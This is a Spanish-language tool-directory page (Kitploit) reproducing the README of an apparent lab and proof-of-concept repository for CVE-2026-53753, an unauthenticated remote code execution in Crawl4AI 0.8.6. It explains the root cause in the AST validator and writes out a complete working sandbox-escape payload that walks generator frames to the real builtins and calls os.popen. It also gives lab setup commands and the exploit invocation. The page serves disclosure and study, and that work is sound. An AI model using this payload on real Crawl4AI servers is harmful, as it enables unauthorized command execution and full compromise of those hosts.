Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-53753-Crawl4AI-RCE — CVE-2026-53753 — Crawl4AI <0.8.7 RCE no autenticado (escape de sandbox AST vía gi_frame.f_back). Laboratorio + PoC, verificado de extremo a extremo. | Kitploit
Herramientas/GitHubGitHub/biitts/cve-2026-53753-crawl4ai-rce
Análisis EstáticoAnálisis Dinámico (Sandboxing)Análisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y Educación
Desarrollo de Payloads
Labs y Práctica
GitHubbiitts/cve-2026-53753-crawl4ai-rce

CVE-2026-53753-Crawl4AI-RCE

CVE-2026-53753 — Crawl4AI <0.8.7 RCE no autenticado (escape de sandbox AST vía gi_frame.f_back). Laboratorio + PoC, verificado de extremo a extremo.

Ver Repositorio
430hace 3 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-53753 — Crawl4AI Ejecución Remota de Código No Autenticada (Evasión de Sandbox AST)

RCE previa a la autenticación en Crawl4AI < 0.8.7. Un esquema JsonCssExtractionStrategy manipulado enviado al endpoint no autenticado POST /crawl llega al evaluador de campos calculados (_safe_eval_expression), escapa su lista blanca de AST a través de objetos frame de Python, alcanza los builtins reales y ejecuta __import__('os').popen(<cmd>).read() — devolviendo la salida del comando en banda en la respuesta JSON.

CVECVE-2026-53753
AdvisoryGHSA-qxjp-w3pj-48m7
AfectadoCrawl4AI <= 0.8.6
Corregido0.8.7
ClaseCWE-94 (Inyección de Código) / Escape de sandbox de Python
CVSS 3.19.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
AuthNinguna — la configuración predeterminada tiene jwt_enabled: false
EstadoCONFIRMADO — reproducido de extremo a extremo contra la imagen oficial unclecode/crawl4ai:0.8.6

Tabla de contenidos

  1. Causa raíz
  2. Anatomía del payload
  3. Por qué el recorrido de frames alcanza los builtins reales
  4. Configuración del laboratorio
  5. Ejecutar el exploit
  6. Salida esperada
  7. Solicitud HTTP cruda
  8. Solución de problemas
  9. Impacto / Remediación / Detección
  10. Validación

Análisis en profundidad: consulte ANALYSIS.md para un recorrido nodo por nodo del AST, la pila de frames en tiempo de ejecución, el flujo de datos de la solicitud y el diff del parche.


1. Causa raíz

crawl4ai/extraction_strategy.py permite que un esquema de extracción defina campos calculados — pequeñas expresiones Python evaluadas por cada elemento extraído. Son ejecutadas por _safe_eval_expression(), que intenta sandboxear la expresión con una lista blanca de AST y un __builtins__ reducido:

# crawl4ai/extraction_strategy.py  (v0.8.6)
for node in ast.walk(tree):
    if isinstance(node, (ast.Import, ast.ImportFrom)):
        raise ValueError("Import statements are not allowed in expressions")
    # Bloquear atributos con doble guion bajo, ej. __class__, __globals__
    if isinstance(node, ast.Attribute) and node.attr.startswith("_"):
        raise ValueError(f"Access to private/dunder attribute '{node.attr}' is not allowed")
    if isinstance(node, ast.Call):
        func = node.func
        if isinstance(func, ast.Name) and func.id.startswith("_"):
            raise ValueError(...)
        if isinstance(func, ast.Attribute) and func.attr.startswith("_"):
            raise ValueError(...)

safe_globals = {"__builtins__": _SAFE_EVAL_BUILTINS}   # no __import__, no eval, no open
return eval(compile(tree, "<expression>", "eval"), safe_globals, local_vars)

El validador es denegar por prefijo: solo rechaza nombres que comienzan con _ (más import). Esa única heurística es todo el sandbox — y tiene tres agujeros que se combinan en un escape completo:

#AgujeroPor qué es importante
1gi_frame, f_back, f_builtins no comienzan con _Toda la superficie de introspección de frames/generadores de Python es alcanzable.
2obj['__import__'] es un ast.Subscript, no un ast.AttributeEl validador nunca inspecciona las claves de subíndices de diccionarios, por lo que la clave con doble guion bajo __import__ pasa.
3La cadena f_back de un generador en ejecución conduce a un frame externo cuyo f_builtins es el realEscapa de _SAFE_EVAL_BUILTINS reducido de vuelta al completo (__import__, etc.).

El esquema llega a esta función con ninguna autenticación: la API del Docker envía security.jwt_enabled: false, por lo que la dependencia del token /crawl es lambda: None.

2. Anatomía del payload, línea por línea

La expresión del campo calculado es:

(lambda: (
    (g := (g.gi_frame.f_back.f_back.f_back.f_builtins['__import__'](https://github.com/biitts/cve-2026-53753-crawl4ai-rce/blob/main/%27os%27).popen('id').read()
           for i in [1])),
    list(g)
)[-1])()

Leyéndola pieza por pieza:

FragmentoRolPor qué el validador lo permite
(lambda: ... )()Crea un ámbito de función para que el nombre vinculado con walrus viva en una celda de cierre.ast.Lambda no se verifica.
g := ( <expr> for i in [1])Vincula el generador a g y el cuerpo del generador referencia a g (a sí mismo).No se verifican := ni las expresiones generadoras. (Walrus es ilegal en un iterable de comprensión, por lo que se coloca en un elemento de tupla en su lugar).
list(g)Impulsa el generador — por lo que su frame está vivo cuando se ejecuta el cuerpo.list está en los builtins seguros.
g.gi_frameEl objeto frame del generador.gi_frame no comienza con _.
.f_back.f_back.f_backSube tres frames hasta uno con los builtins reales.f_back no comienza con _.
.f_builtinsEl mapeo de builtins de ese frame (el real).f_builtins no comienza con _.
['__import__']Obtiene __import__ del diccionario de builtins.Subíndice de diccionario — nunca inspeccionado.
('os')__import__('os') → el módulo os.El objetivo de la llamada es un Subscript, no un Name/Attribute.
.popen('id').read()Ejecuta el comando y devuelve su stdout.popen/read no comienzan con _.

Debido a que el valor del generador es os.popen(cmd).read(), el stdout del comando se convierte en el valor del campo y se refleja de vuelta en la respuesta de /crawl — un oráculo en banda, no se necesita OAST.

3. Por qué el recorrido de frames alcanza los builtins reales

Mientras list(g) itera el generador, la pila de llamadas se ve así:

frame: _safe_eval_expression()      <-- builtins reales  (__import__ vive aquí)   ← f_back ×3
   └ frame: <expression> (eval)     <-- builtins sandboxeados (_SAFE_EVAL_BUILTINS)  ← f_back ×2
        └ frame: <lambda>           <-- sandboxeados                                 ← f_back ×1
             └ frame: <genexpr> g   <-- EN EJECUCIÓN; g.gi_frame es este frame         ← gi_frame

g.gi_frame.f_back solo se completa mientras el generador se está ejecutando (por eso el generador debe referenciarse a sí mismo y ser impulsado por list(g) — un generador aún no iniciado tiene f_back is None). Caminar f_back tres veces aterriza en el frame de _safe_eval_expression, cuyo f_builtins es el módulo de builtins completo — del cual se extrae __import__ mediante subíndice.

La profundidad del frame es estable para esta ruta de código: f_back × 3 es correcta para _safe_eval_expression de Crawl4AI 0.8.6.

4. Configuración del laboratorio

La imagen oficial envía la configuración vulnerable predeterminada (sin autenticación):

# Opción A — docker compose (Host Docker normal con red bridge)
docker compose -f lab/docker-compose.yml up -d

# Opción B — docker run simple
docker run -d --name crawl4ai-vuln -p 11235:11235 --shm-size=1g unclecode/crawl4ai:0.8.6

Espere ~20 s para que el grupo de navegadores se caliente (docker logs crawl4ai-vuln → Application startup complete).

5. Ejecutar el exploit

# Inspeccionar el cuerpo de la solicitud sin enviarla:
python3 exploit.py http://127.0.0.1:11235 -c "id" --print-payload
Descargar herramienta